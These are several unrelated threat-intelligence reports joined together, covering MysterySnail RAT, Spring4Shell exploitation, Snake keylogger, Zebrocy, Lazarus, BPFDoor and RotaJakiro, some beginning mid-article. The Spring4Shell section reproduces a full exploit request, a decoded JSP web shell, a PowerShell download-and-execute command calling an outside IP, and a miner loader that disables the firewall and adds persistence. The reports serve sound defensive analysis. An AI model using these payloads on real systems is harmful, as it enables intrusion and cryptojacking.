In the discovered exploit, attackers are able to achieve the desired state of memory with the use of GDI palette objects and use a single call to a kernel function to build a primitive for reading and writing kernel memory. This step is easily accomplished because the exploit process is running with Medium IL, and therefore it’s possible to use publicly known techniques to leak kernel addresses of currently loaded drivers/kernel modules. In our opinion, it would be preferable if the Medium IL processes had limited access to such functions as NtQuerySystemInformation or EnumDeviceDrivers.
## MysterySnail RAT
Our deep dive into the MysterySnail RAT family started with an analysis of a previously unknown remote shell-type Trojan that was intended to be executed by an elevation of privilege exploit. The sample we analyzed was uploaded to VT on August 10, 2021. The sample is very big – 8.29MB. One of the reasons for the file size is that it’s statically compiled with the OpenSSL library and contains unused code and data belonging to that library. But the main reason for its size is the presence of two very large functions that do nothing but waste processor clock cycles. These functions also “use” randomly generated strings that are also present in a binary.
We assume these two functions are used as an AV-evasion technique for the purpose of anti-emulation. This theory is supported by the presence of other redundant logics and the presence of a relatively large number of exported functions while the real work is performed by only one of them.
The sample has two hardcoded URLs present in plain text – “www[.]disktest[.]com” and “www[.]runblerx[.]com”. They are put into class variables for intended use but remain unused; the real C2 address is decoded by a single byte xor – “http[.]ddspadus[.]com”. The malware enumerates the values under the “Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer” registry key and uses them to request tunneling through a proxy server in case it fails to connect to the C2 directly.
The malware itself is not very sophisticated and has functionality similar to many other remote shells. But it still somehow stands out, with a relatively large number of implemented commands and extra capabilities like monitoring for inserted disk drives and the ability to act as a proxy.
Inbound and outbound commands have the same binary-based format:
| Offset | Description |
|--------|--------------------------------------|
| 0 | Size of additional data |
| 4 | Session ID |
| 8 | Command ID |
| 0xC | Additional data |
Before receiving any commands, the malware gathers and sends general information about the victim machine. This information includes:
- Computer name
- Current OEM code-page/default identifier
- Windows product name
- Local IP address
- Logged-in user name
- Campaign name
One interesting fact is that “Campaign name” by default is set to “windows”. This name gets overwritten, but it might indicate there are versions of the same RAT compiled for other platforms.
In total, the RAT implements 20 commands. Their description and command IDs are provided below.
| Command | Description |
|---------|-----------------------------------------------------------------------------|
| 1F4h | Launch interactive cmd.exe shell. Before launch cmd.exe is copied to the temp folder with a different name |
| 1F5h | Spawn new process |
| 1F6h | Spawn new process (console) |
| 1F7h | Get existing disk drives and their type. This function also works in the background, checking for new drives |
| 1F8h | Create (upload) new file. If a file exists, append data to it |
| 1FAh | Get directory list |
| 1FBh | Kill arbitrary process |
| 1FFh | Delete file |
| 202h | Read file. If the file is too big, async read operation can be stopped with cmd 20Ch. |
| 205h | Re-connect |
| 208h | Set sleep time (in ms) |
| 209h | Shutdown network and exit |
| 20Ah | Exit |
| 20Bh | Kill interactive shell (created with cmd 1F4h) |
| 20Ch | Terminate file reading operation (started with cmd 202h) |
| 217h | No operation |
| 21Bh | Open proxy’ed connection to provided host. Up to 50 simultaneous connections are supported. |
| 21Ch | Send data to proxy’ed connection |
| 21Eh | Close all proxy connections |
| 21Fh | Close requested proxy connection |
The analysis of the MysterySnail RAT helped us discover campaigns using other variants of the analyzed malware as well as study and document the code changes made to this tool over a six-month period. We provide more info about these variants and campaigns in our private report.
With the help of Kaspersky Threat Attribution Engine (KTAE) and the discovery of early variants of MysterySnail RAT, we were able to find direct code and functionality overlap with the malware attributed to the IronHusky actor. We were also able to discover the re-use of C2 addresses used in attacks by the Chinese-speaking APT as far back as 2012. This discovery links IronHusky to some of the older known activities.
Kaspersky products detect the CVE-2021-40449 exploit and related malware with the verdicts:
- PDM:Exploit.Win32.Generic
- PDM:Trojan.Win32.Generic
- Trojan.Win64.Agent*
Kaspersky products detected these attacks with the help of the Behavioral Detection Engine and the Exploit Prevention component. CVE-2021-40449 is the latest addition to the long list of zero-days discovered in the wild with the help of our technologies. We will continue to improve defenses for our users by enhancing technologies and working with third-party vendors to patch vulnerabilities, making the internet more secure for everyone.
## IoCs
- www[.]disktest[.]com
- www[.]runblerx[.]com
- http[.]ddspadus[.]com
- MD5: e2f2d2832da0facbd716d6ad298073ca
- SHA1: ecdec44d3ce31532d9831b139ea04bf48cde9090
- SHA256: b7fb3623e31fb36fc3d3a4d99829e42910cad4da4fa7429a2d99a838e004366e
|
# Spring4Shell Vulnerability CVE-2022-22965 Exploited to Deploy Cryptocurrency Miners
## Creating the web shell
Among the exploitation attempts were ones aimed at deploying cryptocurrency miners. In this section, we look at how the malicious actors behind these exploitation attempts create a web shell to deploy their cryptocurrency miners. The following code is used to create the web shell:
```
GET /?class.module.classLoader.resources.context.parent.pipeline.first.prefix=zbc0fb&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFo
c%22%2C+request.getParameter%28%22l%22%29%7D%29%3B%7D+catch+%28Exception+e%29+%7B%7D%3Bout.print%28%22%40pong%22%29%3B+%2
HTTP/1.1
Host: <redacted>:<redacted>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X: <%
Y: Runtime
Z: %>//
Accept-Encoding: gzip
```
The web shell’s content is URL-encoded using the following code:
```
%25%7Bx%7Di+try+%7BRuntime.getRuntime%28%29.exec%28System.getProperty%28%22os.name%22%29.contains%28%22ndo%22%29+%3F
+new+String%5B%5D%7B%22cmd.exe%22%2C+%22%2Fc%22%2C+request.getParameter%28%22w%22%29%7D+%3A+new+String%5B%5D%7B%22%2Fbin%2
c%22%2C+request.getParameter%28%22l%22%29%7D%29%3B%7D+catch+%28Exception+e%29+%7B%7D%3Bout.print%28%22%40pong%22%29%3B+%25%7B
```
After decoding, the resulting payload is a Spring4Shell web shell:
```
%{x}i try {Runtime.getRuntime().exec(System.getProperty("os.name").contains("ndo") ? new String[]{"cmd.exe", "/c", request.getParameter("w")} : new String[]{"/bin/sh", "-c", request.getParameter("l")});} catch (Exception e) {};out.print("@pong"); %{z}I
```
## How the payload is executed in a vulnerable system
Before executing the payload, the malicious actors first have to determine the operating system of the machine they are infecting. They do this using a string check to see if “os.name” contains the word “ndo”. If it does, then the machine is identified as Windows-based; otherwise, it is identified as Linux-based.
Once the operating system is identified, the encoded payload is executed. The exploit uniform resource identifier (URI) containing the web shell path and parameters is shown in the following code:
```
/zbc0fb.jsp?w=powershell.exe+-NonI+-W+Hidden+-NoP+-Exec+Bypass+-Enc+<base64 encoded content> &l=echo+<base64 encoded content>
```
The web shell is identified as zbc0fb.jsp, while the parameters w and l stand for, respectively, Windows and Linux payloads, which are Base64-encoded.
PowerShell is then executed using the following parameters:
- NonI: Run noninteractive session.
- W: Hide WindowStyle.
- NoP: Prevent the PowerShell profile from loading.
- Exec: Make bypassing the script execution policy in PowerShell possible.
- Enc: Implement the Base64-encoded command.
For Windows payloads, the following PowerShell command fetches the script ldr.ps1 and executes it within memory without having to create it on-disk:
```
I.E.X. .(.N.e.w.-.O.b.j.e.c.t. .N.e.t...W.e.b.C.l.i.e.n.t.)...D.o.w.n.l.o.a.d.S.t.r.i.n.g.(.'.h.t.t.p.:././.1.9....1.4.5...2.2.7...2.1./.l.d.r...p.s.1.?.b.0.f.8.9.5._.<IP address of potentially vulnerable server .:.<port>._.h.t.t.p.'.).
```
The IP address and the port of the vulnerable server are also logged on the malicious actors’ infrastructure. The following code shows ldr.ps1 and its execution flow — specifically, the redacted PowerShell script that downloads the cryptocurrency miner and executes it.
```
$cc="http://<redacted>"
$sys=-join ([char[]](48..57+97..122) | Get-Random -Count (Get-Random (6..12)))
$dst="$env:AppData\$sys.exe"
netsh advfirewall set allprofiles state off
Get-Process network0*, *kthreaddi], kthreaddi, sysrv, sysrv012, sysrv011, sysrv010, sysrv00* -ErrorAction SilentlyContinue | Stop-Process
$list = netstat -ano | findstr TCP
for ($i = 0; $i -lt $list.Length; $i++) {
$k = [Text.RegularExpressions.Regex]::Split($list[$i].Trim(), '\s+')
if ($k[2] -match "(:3333|:4444|:5555|:7777|:9000)$") {
Stop-Process -id $k[4]
}
}
if (!(Get-Process kthreaddk -ErrorAction SilentlyContinue)) {
(New-Object Net.WebClient).DownloadFile("$cc/sys.exe", "$dst")
Start-Process "$dst" -windowstyle hidden
schtasks /create /F /sc minute /mo 1 /tn "BrowserUpdate" /tr "$dst"
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run /d "$dst" /t REG_SZ /f
}
```
The execution flow of the cryptocurrency miner involves the following steps:
1. The firewall is turned off using the netsh utility.
2. Other known cryptocurrency miners such as kthreaddi, sysrv, and sysrv012 are stopped or killed.
3. Other running processes listening on ports 3333, 4444, 5555, 7777, and 9000 are stopped.
4. If the process kthreaddk does not exist, the cryptocurrency miner downloads a binary, sys.exe, from 194[.]145[.]227[.]21 to C:\Users\<user>\AppData\Roaming\<random-6-to-12-letter-string>.exe.
5. The cryptocurrency miner then starts the process with a hidden window to avoid having the user observe visual hints of the process being executed.
6. A scheduled task with the name “BrowserUpdate” is created later, running every minute. In addition, the Windows run key is modified to run the binary sys.exe.
## Conclusion and security recommendations
We are unable to confirm if the exploitation attempts we analyzed for this blog entry were successful. It should be noted that we also observed Linux payloads where the script ldr.sh attempts to stop other running cryptocurrency miners to run its own payload.
We highly encourage users of the Spring framework to update their software to 5.3.18 and 5.2.20 or later to prevent the exploitation of Spring4Shell (CVE-2022-22965) from occurring on their systems.
## Indicators of compromise (IOCs)
### Exploits & Vulnerabilities
Analyzing Attempts to Exploit the Spring4Shell Vulnerability CVE-2022-22965 to Deploy Cryptocurrency Miners
Recently, we observed attempts to exploit the Spring4Shell vulnerability — a remote code execution bug, assigned as CVE-2022-22965 — by malicious actors to deploy cryptocurrency miners.
By: Nitesh Surana, Ashish Verma April 20, 2022
### Content added to Folio
| File | SHA-256 | Detection name |
|-----------|---------------------------------------------------------------------------------------------|-----------------------------------------|
| ldr.ps1 | 093b72e9b4efcc30c1644a763697a235c9c3e496c421eceaac97d4babeba7108 | Trojan.PS1.MALXMR.MPF |
| sys.exe | 566b0187d8ff500d923859c98da2c96b8b581e93ac0c94dacba76328b34412b3 | PUA.Win64.CRYPTOMINER.CFL |
| kthreaddk | 67e38438759f34eaf50d8b38b6c8f18155bcc08a2e79066d9a367ea65e89aa3d | Coinminer.Linux.MALXMR.SMDSL64 |
| ldr.sh | 93d380ba2bedd37c2313924784b26fec27c9e96e4c500b5cb78259b3c824ee4e | Coinminer.SH.MALXMR.SM |
|
# Snake Keylogger’s Many Skins: Analysing Code Reuse Among Infostealers
Snake is a modular .NET keylogger and credential stealer first spotted in late November 2020. Since then, we’ve seen campaigns spreading this malware almost daily. Snake’s name was derived from strings found in its log files and string obfuscation code. Using the malware’s builder, a threat actor can select and configure desired features then generate new payloads. For this reason, the capabilities of samples found in the wild can vary. This article describes Snake’s capabilities, its infection chain, and code similarities with four other commodity keyloggers.
## Infection Chain
Campaigns delivering Snake in 2021 used malicious spam to distribute the malware, either in RTF or archive attachments.
### Delivery
The first type of downloader we’ve seen used to deploy Snake are RTF documents containing the well-known Microsoft Office Equation Editor exploit (CVE-2017-11882). The documents were renamed with .DOC file extensions and attached to emails themed as legitimate business communications. If the recipient runs a vulnerable version of Microsoft Office, the exploit downloads an executable from a remote server and executes it. This file is a packed version of Snake keylogger.
With the second method, attackers send spam with archive file attachments containing packed Snake executables. When the recipient opens the archive file, it contains a packed copy of Snake, requiring the user to double click the executable to run it. We found Snake being distributed in IMG, ZIP, TAR, Z, GZ, ISO, CAB, 7z, and RAR attachments.
### Unpacking and Execution
To reduce chances of detection by endpoint security tools, the Snake samples we analysed were packed. Shortly after execution, the malware unpacks itself by following a specific process. First, the malware decrypts and loads an encrypted file in the resources section of the .NET file using DES, a common block cipher.
The key used to decrypt the file is the first 8 bytes of the SHA256 hash of a string in the source code. Since the UTF-16 encoding is used, the correct encoding must be chosen when calculating the hash to decrypt the file. The decrypted file is a dynamic link library (DLL) called CaptIt.dll, which is loaded. This file contains two encrypted files as resources, which are unpacked and executed at runtime. The first is the Snake keylogger payload, and the other is an executable file that is used to run and hide the malware’s presence. Before decrypting these files, CaptIt.dll copies the packed executable to the user’s start-up folder so that it runs whenever the device is restarted.
This time, AES in ECB mode is used to decrypt another DLL file in CapIt.dll. In addition to decrypting the DLL, the function decrypts a string that corresponds to the method name of the DLL that has just been unpacked. This method, which is started in a new thread, expects two arguments: a file path and payload name.
The Snake payload is hidden inside a legitimate process using RunPE, a well-known process hollowing technique. First, the file path passed as the first argument is used to start a new process in suspended mode. This is followed by calls to Windows APIs that replace the context of the newly-created process with the malware and then launch it. At this point, the Snake payload is unpacked and starts running the modules configured by the attacker.
## Code Obfuscation
Snake is written in .NET, so instead of being compiled into native code, it is compiled into Microsoft Intermediate Language with metadata about the project. It’s possible to recover a decompiled version of the source code that has almost the same structure as the original code using tools such as dnSpy, which significantly simplifies analysis. However, many threat actors who use .NET malware try to prevent decompilation by obfuscating their code. In March 2021, we found Snake samples reported to MalwareBazaar were obfuscated using five tools:
- ConfuserEx / Beds Protector
- DeepSea 4.1
- Babel .NET
- NET
- Obfuscar
These obfuscators make it difficult to analyse the source code by renaming symbols, complicating the code’s control flow, and encrypting strings and resources. Fortunately, there are often counter-techniques to reverse these obfuscations.
## Snake’s Features
Because Snake is modular, the behaviour of samples in the wild varies depending on what features are enabled when the malware is built. It is highly likely that functionality is configured and created using a builder tool. Instead of adding only the selected functionalities to the payload, the builder appears to integrate all features and simply activates the ones selected by the operator.
### Persistence
As described in the unpacking and execution section, the malware copies itself into the start-up folder to be activated again after a reboot of the device. As a further persistence functionality, Snake keylogger has the option of creating a run registry key, which has the same effect and launches the malware when the computer is started.
### Defense Evasion
Snake uses two defense evasion techniques. The first is a function that terminates a list of security tool processes. These include anti-virus processes and tools that are commonly used to analyse malware. The second technique is a self-termination function where Snake removes itself from the infected system and terminates its own process.
### Credential Access
Most of Snake’s functionality relates to collecting sensitive information from infected computers, such as credentials and configurations. Snake parses login credentials from web browser databases, email clients, Discord, and Pidgin chat clients, and stored passwords for WiFi networks. It can extract credentials from various web browsers and email clients.
### Discovery
Before harvesting credentials, Snake runs a series of host and network checks to determine if it is running in a sandbox and to orientate the attacker within the victim’s environment. The host discovery function checks the operating system version, the computer name, hard disk size, time and date configuration, as well as installed RAM. Further checks are executed by the network discovery module.
### Collection
Snake also collects configuration files that can contain sensitive information. One program targeted by Snake is FileZilla. Another feature is Snake’s clipboard stealer, which runs periodically rather than once at first execution. This module saves the contents of the clipboard, which may contain sensitive information. Snake also periodically takes screenshots of the infected system.
### Exfiltration
Snake has several configurable data exfiltration channels. These include the option of uploading the data to a server using the FTP protocol, sending the data as an attachment via email, or publishing it in a Telegram channel via a POST request. The attacker decides which of these exfiltration techniques to choose when configuring the malware using the builder.
### Impact
In addition to the function that terminates security programs to bypass endpoint defenses, the malware also has a function that terminates the Chrome web browser. Since terminating a web browser is not done for prevention or detection reasons, there must be another reason. One possibility is that Snake can only access credentials stored in Chrome if it isn’t running.
## Snake’s Link to Matiex Keylogger
In November 2020, a malware researcher commented about possible code links between Snake and Matiex. Comparing the source code of the two malware families uncovered many similarities. Both families have functions to terminate a list of the same anti-virus and security tool processes. Furthermore, both have procedures to uninstall themselves, using the same command. Their functions to upload recorded keystrokes via POST requests are also identical.
Based on the code similarities shown and the corresponding malware analysis, we think it is likely that Matiex and Snake share the same code base and that Snake is derived from the former. The families do have a few minor differences between them:
- Matiex does not check for a list of excluded IP addresses, hostnames, or the amount of RAM installed.
- Matiex can make audio recordings.
- Matiex can exfiltrate data over Discord.
The question is when and how was Matiex’s source code first reused in Snake?
## Matiex’s Link to Other Keyloggers
During this research, we found other .NET keyloggers advertised as a service, similar to Matiex. Analysing the code of the 404, Cheetah, and Phoenix keyloggers revealed they were also very similar to Matiex.
Looking at the code similarity of the different keyloggers, it struck us how similar their code is. 404 and Phoenix keylogger use a slightly different function to record keystrokes and can exfiltrate data using the Pastebin API, but are otherwise extremely similar to the other families. Cheetah uses the same keylogging functions as Snake and Matiex, but has fewer modules for extracting passwords.
## Conclusion
Analysing Snake reveals that it is indeed a comprehensive keylogger and data stealer. Based on our analysis, we think five keylogger families active in the last two years are likely derived from the same code base. However, this is not an exhaustive list so it is possible that other keyloggers with similar code are also in circulation. This “remix” behaviour of opportunistically copying source code from established malware families demonstrates how easy it is for cybercriminals to create their own malware-as-service businesses – and the importance for enterprise defenses to stay ahead of malware developers.
## Indicators of Compromise
### Snake’s Credential Stealing Modules:
- Outlook
- Chrome
- Cent
- Yandex
- FireFox
- Foxmail
- Coowon
- xVast
- Nichrome
- WaterFox
- Kinzaa
- CocCoc
- Chedot
- Amigo
- Thunderbird
- Sputnik
- Uran
- Superbird
- Kometa
- SeaMonkey
- Falkon
- QQ
- 360_English
- Xpom
- IceDragon
- SalamWeb
- orbitum
- 360_China
- Elements
- CyberFox
- CoolNovo
- Slimjet
- Comodo
- Microsoft
- Slim
- QIPSurf
- Iridium
- Brave
- Opera
- IceCat
- BlackHawk
- Vivaldi
- Torch
- FileZilla
- PostBox
- 7Star
- Iron
- UC
- Pidgin
- PaleMoon
- Sleipnir
- Chromium
- Blisk
- Liebao
- TheWiFi_Orginal
- Citrio
- Ghost
- Epic
- avast
- WindowsProductKey_Orginal
- Chrome_Canary
- Discord
### Excluded IP Addresses:
1. 1.254.1[.]255
2. 34.122.197[.]93
3. 89.187.165[.]47
4. 89.208.29[.]133
5. 92.118.13[.]18
6. 91.132.136[.]174
7. 95.26.248[.]29
8. 95.26.253[.]176
9. 170.55.59[.]2
10. 185.220.101[.]5
11. 192.64.6[.]217
12. 195.74.76[.]237
13. 195.239.51[.]117
### Excluded Hostnames:
- John
- admin
- Admin
- ADMIN
- USER
- User
- user
- JOHN
- JOHN-PC
- WALKER-PC
- John-PC
- WALKER
### User Agents
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
### Contacted Domains
- dyndns[.]org
- freegeoip[.]app
### Tags
cybercrime, keylogger, Malware, snake
|
# Zebrocy Malware Technical Analysis Report
Zebrocy is malware that falls into the Trojan category, which the threat actor group called APT28/Sofacy has used since 2015. Zebrocy malware consists of three main components: Backdoor, Downloader, and Dropper. The Downloader and Dropper take responsibility for discovery processes and downloading the main malware on the systems. At the same time, Backdoor undertakes the duties such as persistence in the system, espionage, and data extraction.
This malware, which is not considered new, has variants in many different languages from the past to the present. These include programming languages such as Delphi, C#, Visual C++, VB.net, and Golang. Furthermore, we know that advanced threat actors and groups revise their malicious software among their toolkits at certain time intervals using different languages and technologies.
It includes many social engineering techniques that direct its victims to open the attached files with a thematic fake mail trending at the point of distribution of malware.
The sectors targeted by the malware are as follows:
- Ministries of Energy and Industry
- Science and Engineering Centers
- Ministry of Foreign Affairs
- National Security and Intelligence Agencies
- Press Services
- Embassies and Consulates
|
# Threat Intelligence Report: Lazarus Group Campaign Targeting the Cryptocurrency Vertical
In 2019, F-Secure uncovered technical details on Lazarus Group’s modus operandi during an investigation of an attack on an organisation in the cryptocurrency vertical. Consistent with public reporting on the group’s activities, the main objective of the attack was financial gain.
F-Secure assesses the attack on the target to be advanced in nature and was able to link this activity with a global phishing campaign running since at least January 2018. The attack was linked to this wider set of activity through several common indicators found in samples from the investigation, open source repositories, and proprietary intelligence sources.
Lazarus Group’s activities are a continued threat: the phishing campaign associated with this attack has been observed continuing into 2020, raising the need for awareness and ongoing vigilance amongst organisations operating in the targeted verticals. It is F-Secure’s assessment that the group will continue to target organisations within the cryptocurrency vertical while it remains such a profitable pursuit, but may also expand to target supply chain elements of the vertical to increase returns and longevity of the campaign.
Where possible, evidence has been included in the body and appendices of this report to allow the security industry to leverage these details across their apertures and draw their own conclusions. F-Secure believes the detail in this report will help targeted organizations protect their networks from future attacks and raise the cost of operation for the group.
|
# Here’s a Simple Script to Detect the Stealthy Nation-State BPFDoor
**Harshal Tupsamudre**
*August 1, 2022*
In this blog, the Qualys Research Team explains the mechanics of a Linux malware variant named BPFdoor. We then demonstrate the efficacy of Qualys Custom Assessment and Remediation to detect it, and Qualys Multi-Vector EDR to protect against it.
BPFDoor is a Linux/Unix backdoor that allows threat actors to remotely connect to a Linux shell to gain complete access to a compromised device. It supports multiple protocols for communicating with a command & control server (C2) including TCP, UDP, and ICMP. It notably utilizes Berkeley Packet Filters (BPF) along with several other techniques to achieve these goals. BPF is a hooking function that allows a user-space program to attach a network filter onto any socket, and then allows or disallows certain types of data to come through that socket.
BPFDoor has been attributed to a Chinese threat actor group named Red Menshen (aka DecisiveArchitect), where the attackers have used it to gain stealthy remote access to compromised devices starting back in 2018 to the present day. Systems have been compromised across the US, South Korea, Hong Kong, Turkey, India, Vietnam, and Myanmar. Targets have included telecommunications, government, education, and logistics organizations. The group has been seen sending commands to BPFDoor victims via Virtual Private Servers (VPS) hosted at a well-known provider. In turn, these VPSs are administered via compromised routers based in Taiwan that the threat actor uses as VPN tunnels.
**Target Geographies:** Middle East, Asia
**Target Sectors:** Logistics, Education, Government
**Malware Tools:** Mangzamel, Gh0st, Metasploit, BPFDoor
## Execution
The threat actor leverages a custom implant tracked by the name “JustForFun”. When executed, the implant overwrites the process command line within the process environment by randomly selecting a new binary name from one of ten hard-coded options. This masquerading technique is used to evade security solutions.
The attacker interacts with the implant through the bash process to establish an interactive shell on a system. The command indicates the usage of Postfix queue manager.
### Masquerading (Rename the process)
The malware will rename itself using the prctl function with the argument PR_SET_NAME, and a random legitimate-looking name. These names are hardcoded in the binary and vary between the samples.
### Timestomping
The implant sets a fake time to timestomp the binary before deletion. A function dubbed set_time was called to alter the access and modification timestamp of the binary using the utimes function. The timestamp used was always set to Thursday, October 30, 2008, 7:17:16 PM (GMT).
### PID File
The implant creates a zero-byte PID file at /var/run/haldrund.pid. The file has two conditions:
- This file is deleted if the implant terminates normally.
- The file is not deleted if there is a problem like hard shutdown or crash.
The implant will not resume if this file is present as it describes the running state for the backdoor.
## BPFDoor Detection using Qualys Custom Assessment & Remediation
Qualys Custom Assessment and Remediation can be leveraged to create and execute custom detection logics for zero-day threats. This cloud service supports multiple scripting languages including Perl, Shell, Python, Lua, PowerShell, and VBScript with no vendor-specific syntax or restrictions. Select the language of your choice and start by leveraging out-of-the-box scripts or creating your own scripts for custom detection, validation, and remediation.
We created the Shell script as part of our detection logic via the Qualys scripting service and executed it across the network. Using this script, we are looking for packet sniffing processes under the entire process stack and checking if an existing process has opened a raw socket using the default Linux utility lsof.
## BPFDoor Detection using Qualys Multi-Vector EDR
Qualys Multi-Vector EDR, armed with YARA scanning techniques, detects the BPFdoor RAT with a threat score of 5/10.
After execution, the binary masquerades its name by selecting from one of 10 names randomly:
The highlighted name was used during the execution. The names are made to look like common Linux system daemons. The implant overwrites the argv[0] value which is used by the Linux /proc filesystem to determine the command line and command name to show for each process. By doing this, when a run command like ps is executed, it shows the fake name.
The renamed binary is dropped to the /dev/shm directory and runs itself as /dev/shm/kdmtmpflush. The masqueraded process with a “–init” flag tells itself to execute secondary clean-up operations and go resident.
The implant creates a zero-byte PID file at /var/run/haldrund.pid. As shown, the original execution process deletes /dev/shm/kdmtmpflush with the following command: `/bin/rm -f /dev/sfm/kdmtmpflush`.
## Conclusion
As with most remote access tools, BPFDoor is visible during the post-exploitation phase of an attack. It is expected that the authors behind BPFdoor will be upgrading its functionality over time, including different commands, processes, or files. This malware has a vast arsenal at its disposal. Therefore, we recommend that organizations have a robust EDR solution to both detect its signatures and adequately respond to the threat.
## MITRE ATT&CK Techniques
- T1036.005 - Masquerading: Match Legitimate Name or Location
- T1070.004 - Indicator Removal on Host: File Deletion
- T1070.006 - Indicator Removal on Host: Time Stomp
- T1059.004 - Command and Scripting Interpreter: Unix Shell
- T1106 - Native API
- T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid
- T1095 - Non-Application Layer Protocol
## IoC (Indicators of Compromise)
**Hashes (SHA256)**
- 07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d
- 1925e3cd8a1b0bba0d297830636cdb9ebf002698c8fa71e0063581204f4e8345
- 4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d
- 591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78
- 599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683
- 5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9
- 5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3
- 76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925
- 93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c
- 96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9
- 97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc
- c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276
- c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c
- f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72
- f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27
- fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73
- fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a
- 144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3
**Filenames**
- /dev/shm/kdmtmpflush
- /dev/shm/kdumpflush
- /dev/shm/kdumpdb
- /var/run/xinetd.lock
- /var/run/kdevrund.pid
- /var/run/haldrund.pid
- /var/run/syslogd.reboot
**Process names**
- /sbin/udevd -d
- /sbin/mingetty /dev/tty7
- /usr/sbin/console-kit-daemon --no-daemon
- hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event
- dbus-daemon --system
- hald-runner
- pickup -l -t fifo -u
- avahi-daemon: chroot helper
- /sbin/auditd -n
- /usr/lib/systemd/systemd-journald
- /usr/libexec/postfix/master
- qmgr -l -t fifo -u
**Contributors:**
- Viren Chaudhary (Senior Engineer, Threat Research, Qualys)
- Mukesh Choudhary (Compliance Research Analyst, Qualys)
- Lavish Jhamb (Solutions Architect, Compliance Solutions, Qualys)
- Mohd Anas Khan (Compliance Research Analyst, Qualys)
|
# DomainTools And Digital Archeology: A Look At RotaJakiro
## Background
On April 21, 2021, Netlab released an excellent report on a malware sample they dubbed RotaJakiro, a long-lived backdoor targeting 64-bit Linux systems with 0 detections on VirusTotal. This backdoor used a number of techniques to remain unnoticed, and the craftiness of the sample piqued the attention of the DomainTools Research Team. Netlab’s post ended talking about how analysis of the binary was just the tip of the iceberg in discovering what this sample was about, and that is where we feel that DomainTools, with our thorough historical data set of over 20 years of Whois and DNS information, had to take a look. For analysis on the binary itself, we suggest reading their excellent post while we concentrate here on one of our specialties: digital archeology.
## Initial Indicators
In this instance, the samples found by Netlab were first added to VirusTotal in 2018. As mentioned, none of them were detected by any of the engines VirusTotal employs. These samples all called out to C2 infrastructure of the following domains:
- news.thaprior.net
- blog.eduelects.com
- cdn.mirror-codes.net
- status.sublineover.net
A quick look in passive DNS shows that these domains only have these subdomains listed and they do not appear to be a part of any Dynamic DNS system, so we can assume that the SLDs are owned by the same operator. We’ll look more at passive DNS later, but for now we can throw these domains into Iris Investigate to see more about their intrinsic properties.
First is the use of the Web4Africa registrar. This registrar has just a little over 18,000 domains associated with it, so the frequency of registration is rather low. Second, we see the registration dates are about the same for all of the domains being from December 9th and 10th of 2015. This aligns with the research from the Netlab report and may indicate that there are actually older samples to be found in the wild. Third, we see that all have the same nameservers except for one domain. Outliers are always useful as they often link to additional connections elsewhere in the broader domain name data set. Lastly, the use of the Confluence Networks IP for their apex A record, which is only slightly valuable. This is a parking page IP address and makes sense as the operator of this backdoor used subdomains that all had A records to a specific IP address for C2.
## Summary of Additional Information and What it Tells Us
- **Web4Africa**: Low volume registrar.
- **Grouped Create Date**: Grouped create date plus low volume registrar means we can hunt on the same day for additional registrations.
- **Outlier Nameserver**: Outliers often lead to additional infrastructure as they have been treated special for a reason.
- **Parking Page IP**: Good to point out simply because it can be a rabbit hole.
## Diving Deeper Than Domains
The first step from here is we look at Whois history. In this case, privacy protection has been in place since the domains were first registered in 2015. Most importantly, we can tell that because the domain has never been allowed to expire, these weren’t domains that were dropped and re-registered. This lets us know that the same person has owned these domains since 2015. That is an important distinction to make as adversaries are increasingly aware that getting a drop catch domain is a nice way to immediately “age” a domain so it goes undetected, as many machine learning algorithms rely heavily on registration date to determine malicious intent. We have certainly found that an overwhelming number of attacks come from newly registered domains in our analysis.
Since Whois history provides minimal additional points to pivot on, we can then turn to passive DNS. This data set of passively collected query and response pairs from recursive resolvers around the Internet shows a first and last seen entry for any pair along with a count. This can help determine both breadth of use as well as when something first began and was last seen operating. In the case of the IP address used for all four of the subdomains that were C2 infrastructure, we get the following list that shows activity as early as November 08, 2017, and as recently as April 29, 2021, which is the time of this writing. In addition to that, we get three new domains pointing to the exact same IP address just a few months prior in 2017.
While this is interesting, it’s important not to jump to conclusions and tie this directly to the other domains. For one, the IP is tied to a Ukraine and Netherlands based VPS provider called DeltaHost. A VPS provider rents out servers and with that IP addresses. This IP could simply have been recycled that month when the operator behind RotaJakiro decided to become active. Secondly, there are no subdomain patterns that match the naming convention of the domains prior. Given that this IP has only ever hosted the confirmed RotaJakiro C2 domains and these new domains, though, it behooves any analyst to take a closer look.
Unfortunately, these three additional domains do not provide anything that can definitively tie them to the other domains. They lack any overlapping times in passive DNS records and their registration patterns are different. One oddity, however, is their Risk Score of 100. The DomainTools Risk Score is informed by a number of things, but a score of 100 is indicative of a domain being included on a blocklist for a previous report of known badness. Looking at historical Whois for these domains, we see them with a registrant email of [email protected] who is tied to 88 Office 365 based phishing domains.
